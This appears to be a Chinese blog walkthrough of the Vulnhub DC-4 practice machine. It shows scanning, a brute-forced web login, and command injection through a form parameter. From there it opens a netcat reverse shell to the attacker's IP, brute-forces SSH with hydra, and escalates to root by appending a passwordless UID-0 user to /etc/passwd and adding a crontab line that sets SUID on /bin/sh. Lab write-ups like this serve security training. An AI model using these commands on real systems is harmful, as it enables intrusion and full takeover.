Vulnhub DC-4

靶场链接

https://www.vulnhub.com/entry/dc-4,313/

 

一、信息收集

1、使用arp-sacn探测同一区域中的存活主机

arp-scan -l

Vulnhub DC-4

可以锁定192.168.226.131为靶场ip。

 

2、使用nmap进行端口扫描

nmap -sS -v 192.168.226.131

Vulnhub DC-4

发现22、80端口开放

 

3、进入80端口查看,是一个登录界面。随机输入用户名密码。

Vulnhub DC-4

 

4、登录时使用bp抓包,并对密码进行爆破。

Vulnhub DC-4

 

Vulnhub DC-4

 

5、通过爆破可知密码为happy,直接进行一个账号的登录。

Vulnhub DC-4

 

二、反弹shell

1、点击command,发现可以执行列出的三个命令。

Vulnhub DC-4

 

2、利用bp抓包。

Vulnhub DC-4

观察可得知“ls+-l”为“ls -l”,即空格用“+”代替。

 

3、修改radio参数为whoami

Vulnhub DC-4

返回“www-data”,权限不高。

 

4、修改radio参数为cat+/etc/passwd+|+grep+/bin/bash

 

Vulnhub DC-4

通过查找/etc/passwd文件,发现存在4个有权限的用户:root charles jim sam

 

5、在kali开启7777端口监听

nc -lvp 7777

6、radio修改成以下命令,让其反弹shell

nc+192.168.226.128+7777+-e/bin/bash

Vulnhub DC-4

 

7、kali终端连接成功,利用python进入交互模式

python -c 'import pty;pty.spawn("/bin/sh")'

Vulnhub DC-4

 

三、ssh登陆爆破

1、进入/home,发现三个目录charles、jim、sam,只有jim下有东西,分别是backups、mbox、test.sh。

Vulnhub DC-4

 

2、进入backups看到有old-passwords.bak,猜测里面有密码,使用cat查看。

Vulnhub DC-4

 

3、将里面内容复制出来制作一个密码本,然后利用hydra对jim进行密码爆破。

hydra -l jim -P passwd.txt ssh://192.168.226.131

Vulnhub DC-4

 

4、利用jim/jibril04进行ssh远程连接

ssh jim@192.168.226.131

Vulnhub DC-4

 

5、查看mbox文件,发现是一封邮件,且是root用户发过来的测试邮件。

Vulnhub DC-4

 

6、进入/var/mail,查看jim文件,找到了charles发来的密码。

Vulnhub DC-4

 

7、尝试ssh登录charles

ssh charles@127.0.0.1  //password:^xHhA&hvim0y

Vulnhub DC-4

 

四、teehee提权和crontab提权

方法一:teehee提权

1、使用 sudo -l 查看Charles的root权限指令,发现只有teehee

Vulnhub DC-4

 

2、查看teehee用法

Vulnhub DC-4

参数 -a 可以将文本添加到指定文件并且不覆盖文件中的内容。

 

3、使用teehee命令将一个无密码用户kin写入到/etc/passwd文件,并加入到root组中。

echo "kin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
#[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]

Vulnhub DC-4

 

方法二:crontab提权

1、简介

Linux crontab是用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。

时间格式如下:

f1 f2 f3 f4 f5 program
其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。
当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推;
当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 a-b 时表示从第 a 到第 b 小时都要执行,其馀类推;
当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推;
当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行,f2 为 a, b, c,... 时表示第 a, b, c...个小时要执行,其馀类推

*    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 7) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

2、基本过程

向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以root身份写入crontab计划任务通过执行获取root权限。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
# 时间部分全部填写为*,默认这个定时任务每分钟执行一次。
# 通过执行脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。

ls -la /bin/sh
/bin/sh

Vulnhub DC-4

 

五、GET FLAG

Vulnhub DC-4

 

 

     
上一篇:ASP.NET Core - 在ActionFilter中使用依赖注入


下一篇:P2241 统计方形(数据加强版)